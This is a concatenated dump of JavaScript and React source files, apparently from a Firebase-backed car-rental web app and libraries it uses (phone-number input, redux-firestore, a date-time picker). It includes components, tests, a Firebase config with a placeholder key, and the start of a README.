'users' }, { collection: 'messages' }, { collection: 'project', orderBy: ['createdAt', 'desc'] } ]) )(Profile)<file_sep>import React from 'react' import Adapter from 'enzyme-adapter-react-16'; import { shallow, configure } from 'enzyme' import { ProjectDetail } from './ProjectDetail' configure({ adapter: new Adapter() }); describe('ProjectDetail', () => { const props = { project: { authhorId: 1 }, auth: { uid: 2 } } const projectDetail = shallow(<ProjectDetail {...props} />) // console.log(projectDetail.debug()); it('Render projectDetail', () => { expect(projectDetail).toMatchSnapshot() }) it('Update the orderFinished in `state`', () => { expect(projectDetail.state().orderFinished).toEqual(false) }) }) <file_sep>export { default as ParseError } from '../es6/ParseError' export { default as parsePhoneNumber } from '../es6/parsePhoneNumber' export { default as parsePhoneNumberFromString } from '../es6/parsePhoneNumberFromString' export { default as findNumbers } from '../es6/findNumbers' export { default as searchNumbers } from '../es6/searchNumbers' export { default as PhoneNumberMatcher } from '../es6/PhoneNumberMatcher' export { default as AsYouType } from '../es6/AsYouType' export { default as Metadata, isSupportedCountry, getCountryCallingCode, getExtPrefix } from '../es6/metadata' export { default as getExampleNumber } from '../es6/getExampleNumber' export { default as formatIncompletePhoneNumber } from '../es6/formatIncompletePhoneNumber' export { default as parseIncompletePhoneNumber, parsePhoneNumberCharacter } from '../es6/parseIncompletePhoneNumber' export { default as parseDigits } from '../es6/parseDigits' export { parseRFC3966, formatRFC3966 } from '../es6/RFC3966'<file_sep>'use strict' exports = module.exports = {} exports.KeyboardNavigationListener = require('./commonjs/KeyboardNavigationListener').default exports.PageAndMenu = require('./commonjs/PageAndMenu').default exports.Page = require('./commonjs/Page').default exports.SlideOutMenu = require('./commonjs/SlideOutMenu').default exports.MenuButton = require('./commonjs/MenuButton').default exports.MenuIcon = require('./commonjs/MenuIcon').default exports.Form = require('./commonjs/Form').default exports.FadeInOut = require('./commonjs/FadeInOut').default exports.Snackbar = require('./commonjs/Snackbar').default exports.Tooltip = require('./commonjs/Tooltip').default exports.ActivityIndicator = require('./commonjs/ActivityIndicator').default exports.Ellipsis = require('./commonjs/Ellipsis').default exports.TextInput = require('./commonjs/TextInput').default exports.List = require('./commonjs/List').default exports.ScrollableList = require('./commonjs/ScrollableList').default exports.ExpandableList = require('./commonjs/ExpandableList').default exports.Expandable = require('./commonjs/Expandable').default exports.Select = require('./commonjs/Select').default exports.Autocomplete = require('./commonjs/Autocomplete').default exports.ExpandableMenu = require('./commonjs/ExpandableMenu').default exports.ExpansionPanel = require('./commonjs/ExpansionPanel').default exports.Divider = require('./commonjs/Divider').default exports.Button = require('./commonjs/Button').default exports.Switch = require('./commonjs/Switch').default exports.Checkbox = require('./commonjs/Checkbox').default exports.Switcher = require('./commonjs/Switcher').default exports.DatePicker = require('./commonjs/DatePicker').default exports.FileUpload = require('./commonjs/FileUpload').default exports.DropFileUpload = require('./commonjs/DropFileUpload').default exports.DropMultiFileUpload = require('./commonjs/DropMultiFileUpload').default exports.Modal = require('./commonjs/Modal').default // Drag'n'drop exports.DragAndDrop = require('./commonjs/DragAndDrop').DragAndDrop exports.CanDrop = require('./commonjs/DragAndDrop').CanDrop exports.File = require('./commonjs/DragAndDrop').File exports.FILE = exports.File exports.Files = require('./commonjs/DragAndDrop').Files exports.FILES = exports.Files exports.setModularGridUnit = require('./commonjs/utility/grid').setModularGridUnit // exports['default'] = ...<file_sep>'use strict' exports = module.exports = require('../commonjs/PhoneInput').default exports.formatPhoneNumber = require('../commonjs/formatPhoneNumber').default exports.formatPhoneNumberIntl = require('../commonjs/formatPhoneNumber').formatPhoneNumberIntl exports.isValidPhoneNumber = require('../commonjs/isValidPhoneNumber').default exports['default'] = require('../commonjs/PhoneInput').default<file_sep>import { getCountryCodes, getCountryCodeForFlag } from '../source/countries' import defaultLabels from '../locale/default.json' import path from 'path' import fs from 'fs' import metadata from 'libphonenumber-js/metadata.min.json' fs.writeFileSync(path.join(__dirname, '../source/flags.js'), generateFlags()) function generateFlags() { const countries = getCountryCodes(defaultLabels).filter(isSupportedByLibPhoneNumber) return ` import React from "react" export default {${countries.map((country) => { return '\n\t' + country + ': () => (\n' + filterSvgMarkup(getCountryFlagSvgMarkup(country)) + '\t)' })} } `.trim() } function getCountryFlagSvgMarkup(country) { return fs.readFileSync(path.join(__dirname, `../node_modules/flag-icon-css/flags/4x3/${getCountryCodeForFlag(country).toLowerCase()}.svg`), 'utf8') } /** * Replaces HTML-style attributes with camelCased React ones. * The script used for checking: * var src = `...` * var attributes = []; * for (const attribute of src.match(/[a-zA-Z]+-[a-zA-Z]+="/g)) { * if (!attributes.includes(attribute)){ * attributes.push(attribute) * } * } * console.log(attributes.map(attribute => attribute.slice(0, attribute.length - '="'.length)).sort().join('\n')) * @param {string} svgMarkup * @return {string} */ function filterSvgMarkup(svgMarkup) { const SVG_ATTRIBUTES = [ 'clip-path', 'fill-opacity', 'fill-rule', 'font-family', 'font-size', 'font-weight', 'letter-spacing', 'stop-color', 'stop-opacity', 'stroke-dashoffset', 'stroke-miterlimit', 'stroke-opacity', 'stroke-width', 'stroke-linejoin', 'stroke-linecap', 'text-anchor', 'word-spacing', 'xmlns:xlink', 'xlink:href' ] for (const attribute of SVG_ATTRIBUTES) { svgMarkup = svgMarkup.replace(new RegExp(` (${attribute})="`, 'g'), (_, match) => ` ${match.replace(/[-:]([a-z])/g, (_, letter) => letter.toUpperCase())}="`) } return svgMarkup // Won't work for things like "<g clip-path="url(#a)">". // // Remove `id`s. // .replace(/ id=".+?"/g, '') } // Leave only those countries supported by `libphonenumber-js`. function isSupportedByLibPhoneNumber(country) { return metadata.countries[country] || country === 'ZZ' } <file_sep>'use strict' exports = module.exports = require('./commonjs/PhoneInputNativeDefaultMetadata').default exports.formatPhoneNumber = require('./commonjs/formatPhoneNumberDefaultMetadata').default exports.formatPhoneNumberIntl = require('./commonjs/formatPhoneNumberDefaultMetadata').formatPhoneNumberIntl exports.isValidPhoneNumber = require('./commonjs/isValidPhoneNumberDefaultMetadata').default exports['default'] = require('./commonjs/PhoneInputNativeDefaultMetadata').default<file_sep>import React, { Component } from 'react'; import { Switch, Route } from 'react-router-dom' import { library } from '@fortawesome/fontawesome-svg-core' import { faPhone, faClock, faCheck, faCamera } from '@fortawesome/free-solid-svg-icons' import NavBar from './components/navbar' import Footer from './components/footer' import Dashboard from './components/dashboard/index' import CreateProjects from './components/createProject/createProject' import Login from './components/login/index' import Profile from './components/profile/index' import ProjectDetail from './components/carDetail/ProjectDetail' import Home from './components/home/index' import Search from './components/home/Search/Search' import './App.scss'; library.add(faPhone) library.add(faClock) library.add(faCheck) library.add(faCamera) class App extends Component { render() { return ( <div> <NavBar /> <Switch> <Route exact path='/' component={Home} /> <Route path='/project/:id' component={ProjectDetail} /> <Route path='/dashboard' component={Dashboard} /> <Route path='/login' component={Login} /> <Route path='/profile' component={Profile} /> <Route path='/add-new-car' component={CreateProjects} /> <Route path='/search/:id' component={Search} /> </Switch> <Footer /> </div> ); } } export default App; <file_sep>"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.default = createFirestoreInstance; var _merge2 = _interopRequireDefault(require("lodash/fp/merge")); var _reduce2 = _interopRequireDefault(require("lodash/reduce")); var _actions = require("./actions"); var _actions2 = require("./utils/actions"); var _constants = require("./constants"); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _objectSpread(target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] != null ? arguments[i] : {}; var ownKeys = Object.keys(source); if (typeof Object.getOwnPropertySymbols === 'function') { ownKeys = ownKeys.concat(Object.getOwnPropertySymbols(source).filter(function (sym) { return Object.getOwnPropertyDescriptor(source, sym).enumerable; })); } ownKeys.forEach(function (key) { _defineProperty(target, key, source[key]); }); } return target; } function _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; } function createFirestoreInstance(firebase, configs, dispatch) { var defaultInternals = { listeners: {}, config: _objectSpread({}, _constants.defaultConfig, configs) }; firebase._ = (0, _merge2.default)(defaultInternals, firebase._); var aliases = [{ action: _actions.firestoreActions.deleteRef, name: 'delete' }, { action: _actions.firestoreActions.setListener, name: 'onSnapshot' }]; var methods = (0, _actions2.mapWithFirebaseAndDispatch)(firebase, dispatch, _actions.firestoreActions, aliases); var methodsFromFirestore = (0, _reduce2.default)(_constants.methodsToAddFromFirestore, function (acc, methodName) { return firebase.firestore && typeof firebase.firestore()[methodName] === 'function' ? _objectSpread({}, acc, _defineProperty({}, methodName, firebase.firestore()[methodName].bind(firebase.firestore()))) : acc; }, {}); return Object.assign(methodsFromFirestore, firebase.firestore, { _: firebase._ }, configs.helpersNamespace ? _defineProperty({}, configs.helpersNamespace, methods) : methods); }<file_sep>import React, { Component } from "react"; import { connect } from "react-redux"; import { firestoreConnect } from "react-redux-firebase"; import { compose } from "redux"; import { Link } from "react-router-dom"; import Container from "react-bootstrap/Container"; import Row from "react-bootstrap/Row"; import Col from "react-bootstrap/Col"; import { FontAwesomeIcon } from "@fortawesome/react-fontawesome"; import Button from "react-bootstrap/Button"; import CarModal from "./carModal"; import bg_cars from "../../assets/bg-cars.jpg"; import "./index.scss"; export class ProjectDetail extends Component { constructor(props) { super(props); this.state = { orderFinished: false }; this.orderFinished = this.orderFinished.bind(this); } orderFinished(order) { if (order) { this.setState({ orderFinished: true }); } } render() { const { project, users } = this.props; const sectionStyle = { backgroundImage: `url(${bg_cars})` }; let newUser = []; if (users && project) { const carList = users; newUser = Object.values(carList).filter((item) => { return item.id === project.authhorId; }); } let projectID = ""; // if (this.props.history) { // let letprojectID = this.props.match.params.id; // } if (project) { return ( <div> <section className='hero'> <div className='container'> <h1>{project.carType}</h1> <ul className='hero-links'> <li> <Link to='/'>Home</Link>{" "} </li> <li> <Link to='/dashboard'>Cars</Link> </li> </ul> </div> <div className='box-position' style={sectionStyle}></div> </section> <Container> {this.state.orderFinished ? ( <div className='congratulation'> <FontAwesomeIcon icon='check' /> <b>Congratulation!</b> Seller will contact you soon. </div> ) : null} <Row className='car-detail-page'> <Col lg='6'> <img src={project.userImage} alt='Car' /> </Col> <Col lg='6' className='car-detail-list'> <h4> {project.carType} {project.carModel} </h4> <p> {" "} {newUser && newUser[0] && newUser[0].phoneNumber ? ( <span> <b>Tel:</b> {newUser[0].phoneNumber} </span> ) : null} </p> <p> {project && project.carPrice ? ( <span> <b>Price:</b> {project.carPrice + " " + project.Currency} </span> ) : null} </p> <p> {project && project.carCountry ? ( <span> <b>Country:</b> {project.carCountry} </span> ) : null} </p> <p> {project && project.carCountry ? ( <span> <b>City:</b> {project.carCity} </span> ) : null} </p> <p> {project && project.transmision ? ( <span> <b>Transmision:</b> {project.transmision} </span> ) : null} </p> <p> {newUser && newUser[0] && newUser[0].userAddress ? ( <span> <b>Address:</b> {newUser[0].userAddress} </span> ) : null} </p> <div className='divider divider-30'></div> <ul> {project.carStatistick && project.carStatistick.map((items, i) => { return ( <li key={i}> <FontAwesomeIcon icon='check' /> {items.value} </li> ); })} </ul> <div className='divider divider-30'></div> <div className='car-description'> <p>{project.carDescription}</p> </div> {this.props.auth && project && this.props.auth.uid === project.authhorId ? ( <Button disabled={true}>Rent This Car</Button> ) : ( <CarModal userID={ newUser && newUser[0] && newUser[0].id ? newUser[0].id : 0 } projectID={projectID} carType={project.carType} carModel={project.carModel} reserved={this.orderFinished} /> )} </Col> </Row> </Container> </div> ); } else { return <div>Loading project...</div>; } } } const mapStateToProps = (state, ownProps) => { const id = ownProps.match.params.id; const projects = state.firestore.data.project; const project = projects ? projects[id] : null; return { auth: state.firebase.auth, project: project, users: state.firestore.data.users, messages: state.firestore.data.messages }; }; export default compose( connect(mapStateToProps), firestoreConnect([ // { collection: 'project', orderBy: ['createdAt', 'desc'], limit: 3 } { collection: "users" }, { collection: "project" }, { collection: "messages" } ]) )(ProjectDetail); <file_sep>import React from 'react' import Adapter from 'enzyme-adapter-react-16'; import { shallow, configure } from 'enzyme' import { Home } from './index' configure({ adapter: new Adapter() }); describe('Homepage', () => { const home = shallow(<Home />) it('render homepage', () => { expect(home).toMatchSnapshot() }) describe('When change select type', () => { const city = 'Novi Sad' beforeEach(() => { home.find('.search-cities').simulate('change', { target: { value: city } }) }) it('Update the city in `state`', () => { expect(home.state().searcCity.target.value).toEqual(city) }) }) })<file_sep>import React from 'react'; import { mount } from 'enzyme'; import DateTimePicker from '../DateTimePicker'; /* eslint-disable comma-dangle */ describe('DateTimePicker', () => { it('passes default name to DateTimeInput', () => { const component = mount( <DateTimePicker /> ); const dateTimeInput = component.find('DateTimeInput'); expect(dateTimeInput.prop('name')).toBe('datetime'); }); it('passes custom name to DateTimeInput', () => { const name = 'testName'; const component = mount( <DateTimePicker name={name} /> ); const dateTimeInput = component.find('DateTimeInput'); expect(dateTimeInput.prop('name')).toBe(name); }); it('applies className to its wrapper when given a string', () => { const className = 'testClassName'; const component = mount( <DateTimePicker className={className} /> ); const wrapperClassName = component.prop('className'); expect(wrapperClassName.includes(className)).toBe(true); }); it('applies calendarClassName to the calendar when given a string', () => { const calendarClassName = 'testClassName'; const component = mount( <DateTimePicker calendarClassName={calendarClassName} isCalendarOpen /> ); const calendar = component.find('Calendar'); const calendarWrapperClassName = calendar.prop('className'); expect(calendarWrapperClassName.includes(calendarClassName)).toBe(true); }); it('applies clockClassName to the clock when given a string', () => { const clockClassName = 'testClassName'; const component = mount( <DateTimePicker clockClassName={clockClassName} isClockOpen /> ); const clock = component.find('Clock'); const calendarWrapperClassName = clock.prop('className'); expect(calendarWrapperClassName.includes(clockClassName)).toBe(true); }); it('renders DateTimeInput component', () => { const component = mount( <DateTimePicker /> ); const dateTimeInput = component.find('DateTimeInput'); expect(dateTimeInput).toHaveLength(1); }); it('renders clear button', () => { const component = mount( <DateTimePicker /> ); const clearButton = component.find('button.react-datetime-picker__clear-button'); expect(clearButton).toHaveLength(1); }); it('renders calendar button', () => { const component = mount( <DateTimePicker /> ); const calendarButton = component.find('button.react-datetime-picker__calendar-button'); expect(calendarButton).toHaveLength(1); }); it('renders DateTimeInput and Calendar components when given isCalendarOpen flag', () => { const component = mount( <DateTimePicker isCalendarOpen /> ); const dateTimeInput = component.find('DateTimeInput'); const calendar = component.find('Calendar'); expect(dateTimeInput).toHaveLength(1); expect(calendar).toHaveLength(1); }); it('renders DateTimeInput and Clock components when given isClockOpen flag', () => { const component = mount( <DateTimePicker isClockOpen /> ); const dateTimeInput = component.find('DateTimeInput'); const clock = component.find('Clock'); expect(dateTimeInput).toHaveLength(1); expect(clock).toHaveLength(1); }); it('does not render Clock component when given disableClock & isClockOpen flags', () => { const component = mount( <DateTimePicker disableClock isClockOpen /> ); const dateTimeInput = component.find('DateTimeInput'); const clock = component.find('Clock'); expect(dateTimeInput).toHaveLength(1); expect(clock).toHaveLength(0); }); it('opens Calendar component when given isCalendarOpen flag by changing props', () => { const component = mount( <DateTimePicker /> ); const calendar = component.find('Calendar'); expect(calendar).toHaveLength(0); component.setProps({ isCalendarOpen: true }); component.update(); const calendar2 = component.find('Calendar'); expect(calendar2).toHaveLength(1); }); it('opens Clock component when given isClockOpen flag by changing props', () => { const component = mount( <DateTimePicker /> ); const clock = component.find('Clock'); expect(clock).toHaveLength(0); component.setProps({ isClockOpen: true }); component.update(); const clock2 = component.find('Clock'); expect(clock2).toHaveLength(1); }); it('opens Calendar component when clicking on a button', () => { const component = mount( <DateTimePicker /> ); const calendar = component.find('Calendar'); const button = component.find('button.react-datetime-picker__calendar-button'); expect(calendar).toHaveLength(0); button.simulate('click'); component.update(); const calendar2 = component.find('Calendar'); expect(calendar2).toHaveLength(1); }); it('opens Calendar component when focusing on a date input inside', () => { const component = mount( <DateTimePicker /> ); const calendar = component.find('Calendar'); const input = component.find('input[name="day"]'); expect(calendar).toHaveLength(0); input.simulate('focus'); component.update(); const calendar2 = component.find('Calendar'); expect(calendar2).toHaveLength(1); }); it('opens Clock component when focusing on a time input inside', () => { const component = mount( <DateTimePicker /> ); const clock = component.find('Clock'); const input = component.find('input[name^="hour"]'); expect(clock).toHaveLength(0); input.simulate('focus'); component.update(); const clock2 = component.find('Clock'); expect(clock2).toHaveLength(1); }); it('closes Calendar component when clicked outside', () => { const root = document.createElement('div'); document.body.appendChild(root); const component = mount( <DateTimePicker isCalendarOpen />, { attachTo: root } ); const event = document.createEvent('MouseEvent'); event.initEvent('mousedown', true, true); document.body.dispatchEvent(event); component.update(); expect(component.state('isCalendarOpen')).toBe(false); }); it('closes Calendar component when focused outside', () => { const root = document.createElement('div'); document.body.appendChild(root); const component = mount( <DateTimePicker isCalendarOpen />, { attachTo: root } ); const event = document.createEvent('FocusEvent'); event.initEvent('focusin', true, true); document.body.dispatchEvent(event); component.update(); expect(component.state('isCalendarOpen')).toBe(false); }); it('closes Clock component when clicked outside', () => { const root = document.createElement('div'); document.body.appendChild(root); const component = mount( <DateTimePicker isClockOpen />, { attachTo: root } ); const event = document.createEvent('MouseEvent'); event.initEvent('mousedown', true, true); document.body.dispatchEvent(event); component.update(); expect(component.state('isClockOpen')).toBe(false); }); it('closes Clock component when focused outside', () => { const root = document.createElement('div'); document.body.appendChild(root); const component = mount( <DateTimePicker isClockOpen />, { attachTo: root } ); const event = document.createEvent('FocusEvent'); event.initEvent('focusin', true, true); document.body.dispatchEvent(event); component.update(); expect(component.state('isClockOpen')).toBe(false); }); it('does not close Calendar component when focused within date inputs', () => { const component = mount( <DateTimePicker isCalendarOpen /> ); const customInputs = component.find('input[type="number"]'); const dayInput = customInputs.at(0); const monthInput = customInputs.at(1); dayInput.simulate('blur'); monthInput.simulate('focus'); component.update(); expect(component.state('isCalendarOpen')).toBe(true); expect(component.state('isClockOpen')).toBe(false); }); it('does not close Clock component when focused within time inputs', () => { const component = mount( <DateTimePicker isClockOpen /> ); const customInputs = component.find('input[type="number"]'); const hourInput = customInputs.at(3); const minuteInput = customInputs.at(4); hourInput.simulate('blur'); minuteInput.simulate('focus'); component.update(); expect(component.state('isCalendarOpen')).toBe(false); expect(component.state('isClockOpen')).toBe(true); }); it('closes Clock when Calendar is opened by a click on the calendar icon', () => { const component = mount( <DateTimePicker isClockOpen /> ); const clock = component.find('Clock'); const button = component.find('button.react-datetime-picker__calendar-button'); expect(clock).toHaveLength(1); button.simulate('click'); component.update(); const clock2 = component.find('Clock'); expect(clock2).toHaveLength(1); }); it('closes Calendar when calling internal onChange', () => { const component = mount( <DateTimePicker isCalendarOpen /> ); const { onChange } = component.instance(); onChange(new Date()); expect(component.state('isCalendarOpen')).toBe(false); }); it('does not close Calendar when calling internal onChange with closeWidgets = false', () => { const component = mount( <DateTimePicker isCalendarOpen /> ); const { onChange } = component.instance(); onChange(new Date(), false); expect(component.state('isCalendarOpen')).toBe(true); }); it('closes Clock when calling internal onChange', () => { const component = mount( <DateTimePicker isClockOpen /> ); const { onChange } = component.instance(); onChange(new Date()); expect(component.state('isClockOpen')).toBe(false); }); it('does not close Clock when calling internal onChange with closeWidgets = false', () => { const component = mount( <DateTimePicker isClockOpen /> ); const { onChange } = component.instance(); onChange(new Date(), false); expect(component.state('isClockOpen')).toBe(true); }); it('calls onChange callback when calling internal internal onChange', () => { const nextValue = new Date(2019, 0, 1, 21, 40, 11, 458); const onChange = jest.fn(); const component = mount( <DateTimePicker onChange={onChange} value={new Date(2018, 6, 17)} /> ); const { onChange: onChangeInternal } = component.instance(); onChangeInternal(nextValue); expect(onChange).toHaveBeenCalledWith(nextValue); }); it('calls onChange callback with merged new date & old time when calling internal onDateChange', () => { const hours = 21; const minutes = 40; const seconds = 11; const ms = 458; const nextValue = new Date(2019, 0, 1); const onChange = jest.fn(); const component = mount( <DateTimePicker onChange={onChange} value={new Date(2018, 6, 17, hours, minutes, seconds, ms)} /> ); const { onDateChange } = component.instance(); onDateChange(nextValue); expect(onChange).toHaveBeenCalledWith(new Date(2019, 0, 1, hours, minutes, seconds, ms)); }); it('clears the value when clicking on a button', () => { const onChange = jest.fn(); const component = mount( <DateTimePicker onChange={onChange} /> ); const calendar = component.find('Calendar'); const button = component.find('button.react-datetime-picker__clear-button'); expect(calendar).toHaveLength(0); button.simulate('click'); component.update(); expect(onChange).toHaveBeenCalledWith(null); }); }); <file_sep>"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); Object.defineProperty(exports, "isMaxDate", { enumerable: true, get: function get() { return _propTypes.isMaxDate; } }); Object.defineProperty(exports, "isMinDate", { enumerable: true, get: function get() { return _propTypes.isMinDate; } }); var _propTypes = require("react-calendar/dist/shared/propTypes");<file_sep>"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.default = void 0; var _reduceReducers = _interopRequireDefault(require("reduce-reducers")); var _reducers = require("./utils/reducers"); var _reducers2 = require("./reducers"); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var combinedReducers = (0, _reducers.combineReducers)({ status: _reducers2.statusReducer, data: _reducers2.dataReducer, ordered: _reducers2.orderedReducer, listeners: _reducers2.listenersReducer, errors: _reducers2.errorsReducer, queries: _reducers2.queriesReducer, composite: function composite(state) { return state; } }); var _default = (0, _reduceReducers.default)(combinedReducers, _reducers2.crossSliceReducer); exports.default = _default;<file_sep>/// <reference types="react"> declare module "react-phone-number-input" { export type NumberFormat = "NATIONAL" | "National" | "INTERNATIONAL" | "International"; export function formatPhoneNumber(value?: string): string; export function formatPhoneNumber(value: string, format?: NumberFormat): string; export function formatPhoneNumberIntl(value?: string): string; export function isValidPhoneNumber(value?: string): boolean; export type FlagsMap = { [countryCode: string]: React.Component<object, object> }; export interface CountrySelectComponentProps { className?: string; disabled?: boolean; name?: string; onBlur?: () => void; onChange?: (value: string) => void; onFocus?: () => void; options?: Array<{ value?: string, label: string, icon: React.Component }>; tabIndex?: number | string; value?: string; } export interface InputComponentProps { // Required props onChange: (value: string) => void; value: string; // Optional props onFocus?: () => void; onBlur?: () => void; country?: string; metadata?: object; } export interface PhoneInputProps { // Required props onChange: (value: string) => void; value: string; // Optional props autoComplete?: string; className?: string; country?: string; countries?: string[]; countryOptions?: string[]; countrySelectComponent?: React.Component<CountrySelectComponentProps, object>; countrySelectTabIndex?: number; disabled?: boolean; displayInitialValueAsLocalNumber?: boolean; error?: string; ext?: React.ReactElement<string | number>, flagComponent?: React.Component<{ country: string, flagsPath: string, flags: FlagsMap }, object>; flags?: FlagsMap; flagsPath?: string; getInputClassName?: (params: { disable?: boolean, invalid?: boolean }) => string; id?: string | number; inputComponent?: React.Component<InputComponentProps, object>; international?: boolean; internationalIcon?: React.Component<object, object>; inputClassName?: string; labels?: { [key: string]: string }; limitMaxLength?: boolean; metadata?: object; placeholder?: string; onCountryChange?: (countryCode?: string) => void; onKeyDown?: (event: React.KeyboardEvent<any>) => void; showCountrySelect?: boolean; style?: React.CSSProperties; } export default class PhoneInput extends React.Component<PhoneInputProps, object> {} } // See: // https://github.com/catamphetamine/react-phone-number-input/issues/195<file_sep>import React, { Component } from 'react' import { connect } from 'react-redux' import Modal from 'react-bootstrap/Modal' import ButtonToolbar from 'react-bootstrap/ButtonToolbar' import Button from 'react-bootstrap/Button' import Row from 'react-bootstrap/Row' import Col from 'react-bootstrap/Col' import Form from 'react-bootstrap/Form' import DateTimeRangePicker from '@wojtekmaj/react-datetimerange-picker'; import { sendMessageToClient } from '../../store/actions/projectAction' export class CarModal extends Component { componentWillReceiveProps(newProps) { this.setState({ userID: newProps.userID, projectID: newProps.projectID, carType: newProps.carType, carModel: newProps.carModel }) } constructor(props, context) { super(props, context); this.state = { lgShow: false, reserved: true, phoneNumber: '', yourEmail: '', date: [new Date(), new Date()], userID: '', projectID: '', carType: '', carModel: '', errorButton: true, submitted: false }; } handleChange = (e) => { const { phoneNumber, yourEmail } = this.state this.setState({ [e.target.name]: e.target.value }) if (phoneNumber.length < 6 || yourEmail.length < 10) { this.setState({ errorButton: true }) } else { this.setState({ errorButton: false }) } } handleSubmit = (e) => { const { phoneNumber, yourEmail } = this.state e.preventDefault() if (phoneNumber === '' && yourEmail === '') { this.setState({ errorButton: true }) } else { this.props.sendMessageToClient(this.state) this.setState({ lgShow: false, submitted: true }) } this.props.reserved(this.state.reserved) } onChange = date => this.setState({ date }) render() { let lgClose = () => this.setState({ lgShow: false }); return ( ( <div> <ButtonToolbar> <Button onClick={() => this.setState({ lgShow: true })}> Rent This Car </Button> <Modal size="lg" show={this.state.lgShow} onHide={lgClose} aria-labelledby="example-modal-sizes-title-lg" className='send-message-to-owner' > <Modal.Header closeButton> <Modal.Title id="example-modal-sizes-title-lg"> Contact info </Modal.Title> </Modal.Header> <Modal.Body> <Form className='submit-click' onSubmit={this.handleSubmit}> <Row> <Col> <Form.Group controlId="formBasicEmail"> <Form.Label>Your Phone Number</Form.Label> <Form.Control type="text" name='phoneNumber' value={this.state.phoneNumber} onChange={this.handleChange} placeholder='Phone Number' /> </Form.Group> </Col> <Col> <Form.Group controlId="formBasicEmail"> <Form.Label>Your Email</Form.Label> <Form.Control type="email" name='yourEmail' value={this.state.yourEmail} onChange={this.handleChange} placeholder='Enter email' /> </Form.Group> </Col> </Row> <Row> <Col> <DateTimeRangePicker className='dateTimeRangePicker' onChange={this.onChange} value={this.state.date} /> </Col> </Row> <Button disabled={this.state.errorButton ? true : false} type='submit' variant="primary">Submit</Button> </Form> </Modal.Body> </Modal> </ButtonToolbar> </div> ) ) } } const mapDispatchToProps = (dispatch) => { return { sendMessageToClient: (message) => dispatch(sendMessageToClient(message)) } } export default connect(null, mapDispatchToProps)(CarModal)<file_sep>import React, { Component } from 'react' import PropTypes from 'prop-types'; import { Link } from 'react-router-dom' export class LastAddedItem extends Component { render() { const { project } = this.props console.log('eeeeee', project) return ( <section className='last-added-item'> {project && project.id ? <Link to={'/project/' + project.id} > <img src={project.userImage} alt='Car' /> </Link> : null} {project && project.carType ? <h3>{project.carType} {project.carModel} <span>{project.carYear}</span></h3> : null} <div className='vihicle-price'> {project && project.Currency ? <div className='currency'>{project.Currency}</div> : null} {project && project.carPrice ? <div className='price'>{project.carPrice}</div> : null} <span>per day</span> </div> </section> ) } } LastAddedItem.propTypes = { project: PropTypes.object.isRequired }; export default LastAddedItem <file_sep>import React, { Component } from 'react' import Container from 'react-bootstrap/Container' import Row from 'react-bootstrap/Row' import Col from 'react-bootstrap/Col' export class WhyChooseUs extends Component { render() { return ( <section className='why-choose-us'> <Container> <h2 className='title-block text-center'>Why Choose Us?</h2> <Row> <Col sm={4}> <div className='box'> <h4>Premium Service</h4> <p>Rent Car provides high-quality service to everyone who is looking for reliable car rentals.</p> </div> </Col> <Col sm={4}> <div className='box'> <h4>Variety of Locations</h4> <p>We have a variety of car rental offices located throughout the USA in almost all 50 states.</p> </div> </Col> <Col sm={4}> <div className='box'> <h4>Qualified Team</h4> <p>You can fully rely on our team of professionals who are always ready to help you.</p> </div> </Col> </Row> </Container > </section > ) } } export default WhyChooseUs<file_sep>import firebase from 'firebase/app' import 'firebase/firestore' import 'firebase/auth' import 'firebase/storage' // Initialize Firebase var config = { apiKey: "<KEY>", authDomain: "uzmiauto-c503b.firebaseapp.com", databaseURL: "https://uzmiauto-c503b.firebaseio.com", projectId: "uzmiauto-c503b", storageBucket: "uzmiauto-c503b.appspot.com", messagingSenderId: "837372020693" }; firebase.initializeApp(config); const storage = firebase.storage().ref() // firebase.firestore().settings({ timestampsInSnapshots: true }) // export default firebase export { storage, firebase as default }<file_sep>import React, { Component } from 'react' import Container from 'react-bootstrap/Container' import Row from 'react-bootstrap/Row' import Col from 'react-bootstrap/Col' import LastAddedItem from './lastAddedItem' import './index.scss' export class LastAdded extends Component { renderItems = () => { const { projects } = this.props return projects && projects.map((project, i) => { return ( <Col sm={4} key={i}><LastAddedItem className='LastAddedItem' project={project} /></Col> ) }) } render() { return ( <section className='last-added' > <Container> <h2 className='title-block text-gray'>You might like:</h2> <Row> {this.renderItems()} </Row> </Container> </section> ) } } export default LastAdded<file_sep># react-phone-number-input [![npm version](https://img.shields.io/npm/v/react-phone-number-input.svg?style=flat-square)](https://www.npmjs.com/package/react-phone-number-input) [![npm downloads](https://img.shields.io/npm/dm/react-phone-number-input.svg?style=flat-square)](https://www.npmjs.com/package/react-phone-number-input) International phone number `<input/>` for React. [See Demo](http://catamphetamine.github.io/react-phone-number-input/) ## Screenshots <img src="https://raw.githubusercontent.com/catamphetamine/react-phone-number-input/master/docs/images/first-glance-local.png" width="270" height="113"/> <img src="https://raw.githubusercontent.com/catamphetamine/react-phone-number-input/master/docs/images/first-glance.png" width="270" height="113"/> ## Native `<select/>` ### Desktop <img src="https://raw.githubusercontent.com/catamphetamine/react-phone-number-input/master/docs/images/desktop-native-select.png" width="475" height="223"/> ### Mobile <img src="https://raw.githubusercontent.com/catamphetamine/react-phone-number-input/master/docs/images/iphone-native-select.png" width="380" height="443"/> ## Install ``` npm install react-phone-number-input --save ``` If you're not using a bundler then use a [standalone version from a CDN](https://github.com/catamphetamine/react-phone-number-input/#cdn). ## Use The component requires two properties to be passed: `value` and `onChange(value)`. ```js import 'react-phone-number-input/style.css' import PhoneInput from 'react-phone-number-input' return ( <PhoneInput placeholder="Enter phone number" value={ this.state.phone } onChange={ phone => this.setState({ phone }) } /> ) ``` `value` will be the parsed phone number, e.g. if a user chooses "United States" and enters `(213) 373-4253` then `value` will be `+12133734253`. See the [list of all available `props`](http://catamphetamine.github.io/react-phone-number-input/docs/styleguide/index.html#phoneinput) for `<PhoneInput/>`. All other properties are passed through to the phone number `<input/>` component. To format `value` back to a human-readable phone number use `formatPhoneNumber(value)` and `formatPhoneNumberIntl(value)` functions. ```js import { formatPhoneNumber, formatPhoneNumberIntl } from 'react-phone-number-input' const value = '+12133734253' formatPhoneNumber(value) === '(213) 373-4253' // National format 